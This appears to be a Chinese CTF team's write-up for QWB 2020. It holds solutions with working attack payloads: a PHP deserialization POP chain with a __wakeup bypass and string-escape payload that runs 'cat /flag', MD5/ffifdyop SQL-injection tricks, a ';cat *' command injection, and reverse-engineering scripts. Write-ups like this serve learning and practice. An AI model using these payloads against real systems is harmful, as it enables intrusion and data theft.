# r00t 强网杯 2020
急缺pwn师傅
# 签到
flag{welcome_to_qwb_S4}
# web 辅助
下载源码进行审计,发现是反序列化
先找 POP 链,在 class 中可以构造出完整的链子
<?php
include "common.php";
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = new midsolo(new jungle());
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
system("cat /flag");
}
public function __toString(){
$this->KS();
return "";
}
}
$player = new player("1","1");
$player->test = new topsolo();
$data = write(serialize($player));
echo $data;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
这里__wakeup
需要绕一绕,参考 CVE-2016-7124,当成员属性数目大于实际数目时,__wakeup 不会执行
第二个点是过 check 函数
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
2
3
4
5
6
7
8
9
这个要求序列化后的数据里不能出现 name,这里可以用S
的类型绕过,将s:4:"name"
转换成S:4:"\6eame"
,即可绕过检查
最后一个点是反序列化逃逸
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}
2
3
4
5
6
7
8
又是喜闻乐见的修改序列化数据,如果在序列化之前加入一个\0*\0
,在经过 read 函数时就会被解码缩小,但是我们一般的反序列化逃逸是通过膨胀实现的,在仔细观察后,发现他有 user、pass 两个输入点,所以可以在 user 字段中添加\0*\0
,导致 user 字段收缩,吃掉后面的 pass 定义,把我构造的序列化数据露出来
最后的 paylaod
O:6:"player":3:{s:7:"\0*\0user";s:56:"\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\";s:7:"\0*\0pass";s:134:";s:4:"test";O:7:"topsolo":1:{S:7:"\0*\0\6eame";O:7:"midsolo":2:{S:7:"\0*\0\6eame";O:6:"jungle":1:{S:7:"\0*\0\6eame";s:7:"Lee Sin";}}}}";s:8:"\0*\0admin";i:0;}
# bank
开始是一个 PoW,爆就完事儿了
输入用户名,之后能转账、查看记录、接收记录、查看 hint
根据 hint
def transact_ecb(key, sender, receiver, amount):
aes = AES.new(key, AES.MODE_ECB)
ct = b""
ct += aes.encrypt(sender)
ct += aes.encrypt(receiver)
ct += aes.encrypt(amount)
return ct
2
3
4
5
6
7
他将数据逐个加密,拼接成一个整体,那么应该可以将自己的名字设置为 1000,然后将sender
那个块放在amount
的位置,应该可以实现转账一个很大的数
但是这么操作并没有成功,实际上,连正常的转账都没能成功。。。
后来发现可以转一个负数,转账-1000,本题终结
# Funhash
第一层,md4 等于自身,只要又一个 0e 开头的字符串算的 md4 也是 0e 开头就行了
找到一个0e251288019
if ($_GET["hash1"] != hash("md4", $_GET["hash1"])){
die('level 1 failed');
}
2
3
第二层,两个变量本身不相等,但是 md5 相等
让他们是不同的数组就可以了
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3'])){
die('level 2 failed');
}
2
3
第三层,让一个东西的 md5,带着 sql 注入语句
找到一个ffifdyop
,算 md5 会得到,'or'
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();
2
3
4
5
6
# upload
附件是一个流量包,里面是一个 HTTP 流量,导出之后是一张图片,文件名是 steghide 解,试一下密码 123456,成功解出 flag
# 主动
<?php
highlight_file("index.php");
if(preg_match("/flag/i", $_GET["ip"]))
{
die("no flag");
}
system("ping -c 3 $_GET[ip]");
?>
2
3
4
5
6
7
8
9
10
11
直接/?ip=;cat%20*
,得到 flag
# 侧防
纯粹的一道逆向,没有壳,没有混淆……
算法是先常量表异或再加'A'
,最后每 4 字节为一块循环右移。写脚本出 flag(的绝大部分):
#!/usr/bin/env python3
tbl_encrypt = [ 0x51, 0x57, 0x42, 0x6C, 0x6F, 0x67, 0x73 ]
target = bytearray([
0x4C, 0x78, 0x7C, 0x64, 0x54, 0x55, 0x77, 0x65, 0x5C, 0x49, 0x76, 0x4E, 0x68, 0x43, 0x42, 0x4F,
0x4C, 0x71, 0x44, 0x4E, 0x66, 0x57, 0x7D, 0x49, 0x6D, 0x46, 0x5A, 0x43, 0x74, 0x69, 0x79, 0x78,
0x4F, 0x5C, 0x50, 0x57, 0x5E, 0x65, 0x62, 0x44, 0x00, 0x00, 0x00, 0x00
])
for i in range(0, len(target), 4):
target_0 = target[i + 0]
target[i + 0] = target[i + 1]
target[i + 1] = target[i + 2]
target[i + 2] = target[i + 3]
target[i + 3] = target_0
for i in range(len(target)):
target[i] = (target[i] - ord('A')) & 0xff
target[i] = (target[i] ^ tbl_encrypt[i % 7]) & 0xff
print(target)
#print(target.decode())
# bytearray(b'flag{QWB_water_problem_give_you_the_scor\xd8\xcc\xee\xe8')
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
flag 最后坏掉了但是不知道怎么修……从 flag 内容猜测得到完整 flag:flag{QWB_water_problem_give_you_the_score}
# 红方辅助
对比流量包中数据和client.py
的流程,可以识别并提取所有发送出去的数据。写脚本解密之:
#!/usr/bin/env python3
import struct
funcs = {
b'0' : lambda x, y : x - y,
b'1' : lambda x, y : x + y,
b'2' : lambda x, y : x ^ y
}
funcs_inv = {
b'0' : lambda x, y : x + y,
b'1' : lambda x, y : x - y,
b'2' : lambda x, y : x ^ y
}
offset = {
b'0' : 0xefffff,
b'1' : 0xefffff,
b'2' : 0xffffff,
}
data = []
dec_data = []
idx = 0
def get_data():
global idx
if idx >= len(data):
return b''
idx += 1
return data[idx - 1]
def decrypt(btime, boffset, enc_data):
count, length, fn, salt = struct.unpack('<IIcB', enc_data[ : 10])
enc = enc_data[10 : ]
dec = bytearray()
t = ((btime + offset[fn]) & 0xffffffff).to_bytes(4, 'little')
for i in range(length - 10):
dec.append((funcs_inv[fn](enc[i], salt) ^ t[i % 4]) & 0xff)
return dec
with open('data.log', 'r') as f:
for line in f.readlines():
data.append(bytes.fromhex(line))
client_req = get_data()
while client_req == b'G':
btime = int.from_bytes(get_data(), 'little')
boffset = int.from_bytes(get_data(), 'little')
enc_data = get_data()
pcount = int.from_bytes(get_data(), 'little')
print('pcount = %d, idx = %d' % (pcount, idx))
try:
dec_data.append(decrypt(btime, boffset, enc_data).decode())
except Exception as e:
dec_data.append('--- decrypt error: %s ---\n' % e)
client_req = get_data()
#print('\n'.join(dec_data))
with open('output.log', 'w') as f:
f.write(''.join(dec_data))
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
输出的文件当中夹杂大量不可打印字符。将所有不可打印字符均替换成问号,再替换清理“颜色”过深的背景字符,得到一幅字符画:
[ --- 截断 --- ]
.........................................................................................................................
.........................................................................................................................
.........................................................................................................................
..........................................................NQQo?..........................................................
.........................................................d0??YX?\........................................................
..............................................................=?n........................................................
............................................................?8X\.........................................................
.............................................................`X?\........................................................
........................................................Q.....8?n........................................................
,...,...,...,...,...,...,...,...,...,...,...,...,...,...b8?Z:80?,...,...,...,...,...,...,...,...,...,...,...,...,...,...,
,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,
,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,
,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,...,
[ --- 截断 --- ]
2
3
4
5
6
7
8
9
10
11
12
13
14
15
选一种合适的等宽字体,调小字号,读出 flag 核心:3e752bf509ddb4e9a42f1ef30beff495
。挨个试 flag 外壳,试到QWB{3e752bf509ddb4e9a42f1ef30beff495}
提交成功。
# 问卷调查
emmm 填完问卷就出来了,但是忘了备份 flag……
# imitation_game
# 程序逻辑
程序判断 argc 为 2,否则退出
程序 fork,然后主进程显示 flag 信息,等待子进程结束
子进程:
- 子进程读取 0x20 输入,从数据段取 aes 密钥、padding(0x1a)、iv
- 子进程将属于的 flag 加上 padding 做 aes-128 cbc 加密
- 子进程判断加密结果和 0x50A0 数据是否相同,然后通过执行不同的机器码,向主进程返回信息
父进程: 父进程是 chip8 模拟器
- 父进程通过 wait 接收子进程的返回值,如果子进程失败父进程直接退出不做剩下的步骤
- 父进程之后的循环是以 0x8120 为 ip,0x8980 为代码的 vm
- vm 内外代码的对应通过.data.rel.ro实现
- main 函数剩下的部分主要是 SDL 显示和其他的一些与题目无关的操作
vm 里的逻辑:
- vm 代码主要包括以下几个函数:(按照先后顺序)
- 显示 DEAD
- 将 v0v1 两个参数相乘,返回乘积
- 主要验证逻辑:这部分再划分三部分
- 读取、存储(在 v0-v9 寄存器)、显示 (十个)按键
- 对 flag 的各字符进行一些加、减、异或的处理再放回原位
- 将 flag 连续三字符乘上特定常数求和做比较
- 比较第十个按键是否是 3
# 解题过程
粗略浏览程序逻辑,判断子进程先执行,所以先查看子进程
- 发现 ptrce0000,patch 掉,可以调试
- 从常数矩阵 0x8020 和函数 0x47f0 逻辑推测是 aes 算法,根据 aes 算法的结构,判断 0x5100 0x5120 分别是 aes key/iv
- 判断程序的 aes s 盒和标准 s 盒不同,复制 s 盒到其他 aes 实现,尝试加密,发现和本程序加密的结果不一样
- 动调获取程序生成的 aes 轮密钥矩阵替换其他 aes 实现的轮密钥,尝试加密,发现不一样
- 动调发现程序 s 盒和标准 aess 盒相同,猜测程序存在对 s 盒的修改,
懒得去找 - 使用动调获得的轮密钥盒标准的 aes 逆 s 盒解密 0x50A0 获得前半段 flag
子进程通过特殊的方法向父进程返回了验证结果,但是不重要不影响做题,接下来看父进程。
- 分析父进程的逻辑,发现大部分是在做 SDL 显示和一些其他的杂活,找了半天,跟 SDL 的文档较劲一下午,最后发现程序是个 vm
- 逐条分析 vm 的指令作用……这时放了提示 chip8,寻找对应 vm 的反编译器,将反编译器代码与对 vm 的分析比较,判断题目修改了两种 vm 代码,修复之后反编译成功。
- 研究分析反编译结果,vm 中有 16 个通用寄存器、一个共用的字库、数据、代码存储,vm 只有调用栈,本程序中用 VE(作为栈指针)和字库构成了程序的数据栈,调用方压栈,被调方清栈,参数从 v0 开始存放,返回值放于 VF。
- 分析发现 vm 里的操作不算特别复杂,是简单的算术和三组参数一样的方程组,简单计算之后得到了 flag
# xx_warmup_obf
# 程序逻辑
没太看明白,不过姑且应该是什么混淆器吧,还通过读写数据来骗各种反汇编、反编译器;程序使用了一个 jmp rbx 函数替代 call;但是通过找函数的引用能粗略的判断函数的逻辑:
- 显示提示信息
- 读取 flag
- 在 flag 中寻找'\n'
- 判断 flag 长度 28
- 显示 flag 长度不对
- 判断 flag 内容
- 显示 flag 内容是否正确
# 做题过程
打眼一看程序使用了很复杂的混淆手段,同时程序中还大量出现 int 3 断点干扰调试。 程序在 init_array(main 函数开始执行前执行的函数数组)中注册了信号 5 SIGTRAP 的处理函数,并写入了一些数据。
既不认识混淆的方法又对硬看没啥想法,所以随便翻翻,程序混淆的一个特征是大量的跳转和不正常指令,翻代码的时候突然发现一大段不带跳转的内容,于是仔细看了看。
发现一些结构类似,包含 imul 指令的代码段,向上寻找,发现类似结构最小包含一个 imul,结果与常数做了比较,解出来发现是‘f’,接着,看四个 imul 的结构,发现是‘flag’,大喜,通过 ghidra 来反编译方程,获得若干方程。
整理方程的格式为可以试用 z3 求解的形式,解得 flag。(实际上方程是未知数个数从 1 到 28 逐渐增加,可以逐个方程求解)
f=102
f1=108
f2=97
f3=103
solve(((f1) * -0xebc1 + (f4) * -0x37b78 + f * 0x17201 + (f3) * -0x43089 + (f2) * 0x45b88 == -0x1853445))
solve( ((f1) * -0xebc1 + (f4) * -0x37b78 + f * 0x17201 + (f3) * -0x43089 + (f2) * 0x45b88 == -0x1853445))
2
3
4
5
6